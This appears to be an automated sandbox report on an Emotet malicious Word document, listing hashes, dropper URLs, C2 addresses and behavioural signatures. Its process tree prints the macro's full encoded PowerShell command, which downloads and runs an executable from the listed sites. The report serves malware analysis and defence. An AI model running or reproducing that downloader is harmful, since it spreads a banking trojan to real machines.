Analysis
- max time kernel
135s - max time network
138s - platform
windows10_x64 - resource
win10 - submitted
26/08/2020, 08:20
General
- Target emotet_e2_babd7ff2610545a4f609d2769548791ee7703a32e65a3a2c4ae1a5b8c2eb3cf5_2020-08-26__081845._doc.doc
- Size 220KB
- Sample200826-xtj7nhk566
- SHA256 babd7ff2610545a4f609d2769548791ee7703a32e65a3a2c4ae1a5b8c2eb3cf5
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://bursayuzmekursu.com/assets/6m3/
-
exe.dropper
http://casabeethovenlb.com/classes/mPaUG3/
-
exe.dropper
http://cse-engineer.com/cgi-bin/f5fG/
-
exe.dropper
http://da-industrial.com/js/j/
-
exe.dropper
http://ajbuids.co.uk/buildzips/XY8Mgvl/
-
exe.dropper
https://cocoonplace.be/achtergronden/ZRDB/
-
exe.dropper
http://creativemarcel.com/downloadTest/wc/
Extracted
Family
-
emotet
C2
-
107.5.122.110:80
-
199.101.86.6:443
-
45.55.219.163:443
-
62.30.7.67:443
-
185.94.252.104:443
-
203.117.253.142:80
-
93.51.50.171:8080
-
139.130.242.43:80
-
181.230.116.163:80
-
37.187.72.193:8080
-
194.187.133.160:443
-
167.86.90.214:8080
-
61.19.246.238:443
-
98.109.204.230:80
-
180.92.239.110:8080
-
121.124.124.40:7080
-
47.146.117.214:80
-
110.145.77.103:80
-
97.82.79.83:80
-
70.121.172.89:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_babd7ff2610545a4f609d2769548791ee7703a32e65a3a2c4ae1a5b8c2eb3cf5_2020-08-26__081845._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAGUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAFIAYABpAHQAWQBQAFIAbwB0AE8AYABjAGAAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMQAsACcAKwAnACAAdABsAHMAJwApACkAOwAkAEUAdgB6AHUAMgBjAGUAIAA9ACAAKAAoACcARAAnACsAJwByAGEAcgAxADMAJwApACsAJwBvADIAJwArACcAcQAnACkAOwAkAEwAYgBqAHUAbgBmAGkAPQAoACgAJwBSAGIAJwArACcAcAAnACkAKwAnAGcAZQAnACsAJwAwADAAJwApADsAJABPAGgANwA4AGIAYwA4AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBYAGEAJwArACgAJwBIACcAKwAnAHcAbwByACcAKwAnAGQAWABhAEgAJwApACsAKAAnADIAMAAnACsAJwAxACcAKQArACcAOQAnACsAJwBYAGEAJwArACcASAAnACkAIAAgAC0AUgBlAFAATABhAGMAZQAoAFsAQwBoAGEAcgBdADgAOAArAFsAQwBoAGEAcgBdADkANwArAFsAQwBoAGEAcgBdADcAMgApACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAEUAdgB6AHUAMgBjAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABJAGwAYgA4AGUAeQAxAD0AKAAnAEwAJwArACgAJwBqAGMAJwArACcAeQAnACkAKwAoACcAYQByACcAKwAnAGcAJwApACkAOwAkAFQAMwBiAHYAegB3AHkAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAFYAbgBlAHcAdwA5AGQAPQAoACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBiAHUAcgAnACsAJwBzAGEAeQAnACsAJwB1AHoAbQAnACkAKwAoACcAZQBrACcAKwAnAHUAcgAnACkAKwAoACcAcwB1AC4AYwAnACsAJwBvAG0AJwArACcALwBhACcAKwAnAHMAcwAnACkAKwAoACcAZQAnACsAJwB0AHMALwAnACkAKwAoACcANgAnACsAJwBtADMALwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBjAGEAcwBhAGIAZQBlAHQAaAAnACsAJwBvACcAKwAnAHYAJwApACsAKAAnAGUAbgBsAGIAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBjAGwAJwArACcAYQBzAHMAJwArACcAZQBzAC8AbQAnACkAKwAoACcAUAAnACsAJwBhAFUARwAnACkAKwAoACcAMwAnACsAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBjAHMAJwArACcAZQAnACsAJwAtAGUAbgBnAGkAJwApACsAJwBuAGUAJwArACgAJwBlAHIAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAC8AZgA1AGYARwAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwBkACcAKwAnAGEALQAnACkAKwAnAGkAJwArACcAbgAnACsAJwBkAHUAJwArACcAcwAnACsAKAAnAHQAJwArACcAcgBpACcAKQArACgAJwBhAGwALgBjACcAKwAnAG8AbQAnACkAKwAnAC8AagAnACsAKAAnAHMAJwArACcALwBqAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AYQBqAGIAJwArACcAdQAnACkAKwAnAGkAZAAnACsAJwBzACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAC4AJwArACcAdQBrACcAKQArACgAJwAvACcAKwAnAGIAJwArACcAdQBpAGwAZAAnACkAKwAoACcAegAnACsAJwBpAHAAJwApACsAKAAnAHMALwAnACsAJwBYACcAKQArACcAWQA4ACcAKwAoACcATQAnACsAJwBnAHYAbAAnACsAJwAvACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAvAC8AYwBvAGMAJwArACcAbwAnACsAJwBvACcAKwAnAG4AcAAnACkAKwAnAGwAYQAnACsAJwBjACcAKwAoACcAZQAuAGIAJwArACcAZQAvAGEAJwApACsAJwBjACcAKwAoACcAaAB0AGUAJwArACcAcgBnACcAKQArACcAcgBvACcAKwAnAG4AJwArACgAJwBkACcAKwAnAGUAbgAnACkAKwAoACcALwBaACcAKwAnAFIARABCAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBjAHIAJwApACsAKAAnAGUAYQAnACsAJwB0AGkAdgBlACcAKQArACcAbQBhACcAKwAoACcAcgBjAGUAbAAnACsAJwAuACcAKwAnAGMAbwBtAC8AZAAnACsAJwBvAHcAbgBsACcAKQArACcAbwBhACcAKwAnAGQAVAAnACsAJwBlACcAKwAoACcAcwB0AC8AJwArACcAdwBjAC8AJwApACkALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB1AGYAaABqAGEAbgA9ACgAJwBVACcAKwAoACcAagA0ACcAKwAnADQAbgAwACcAKwAnAG0AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABGAG4AdwA4AHgAOQB4ACAAaQBuACAAJABWAG4AZQB3AHcAOQBkACkAewB0AHIAeQB7ACQAVAAzAGIAdgB6AHcAeQAuACIAZABgAG8AdwBuAGAATABvAGEAZABGAEkAbABlACIAKAAkAEYAbgB3ADgAeAA5AHgALAAgACQATwBoADcAOABiAGMAOAApADsAJABOAG0AcQBkADEAdQAyAD0AKAAoACcASQBuACcAKwAnAGUAJwApACsAJwBlAGQAJwArACcAdgA3ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAGgANwA4AGIAYwA4ACkALgAiAGwARQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAyADQANAA0ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQATwBoADcAOABiAGMAOAApADsAJABSAGcAdQA0ADIAZABsAD0AKAAnAEQAZQAnACsAJwA2ACcAKwAoACcANgA5AHQAJwArACcAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQBlAHkAYgBkAGIAcQA9ACgAJwBKADcAJwArACgAJwA4ADgAagAnACsAJwA1AGcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAOQB6ADQAMwBqADMAPQAoACcARAAnACsAJwBnACcAKwAoACcAdgBwADgAOAAnACsAJwBvACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\word\2019\Drar13o2q.exe"C:\Users\Admin\AppData\Local\Temp\word\2019\Drar13o2q.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mmcshext\Windows.System.RemoteDesktop.exe"C:\Windows\SysWOW64\mmcshext\Windows.System.RemoteDesktop.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/632-12-0x0000000002330000-0x000000000233C000-memory.dmp
memory/1228-15-0x0000000002130000-0x000000000213C000-memory.dmp
memory/1948-6-0x00007FF880A70000-0x00007FF88145C000-memory.dmp
memory/1948-7-0x000001DBF64C0000-0x000001DBF64C1000-memory.dmp
memory/1948-8-0x000001DBF6670000-0x000001DBF6671000-memory.dmp
memory/3104-0-0x00007FF888C50000-0x00007FF889316000-memory.dmp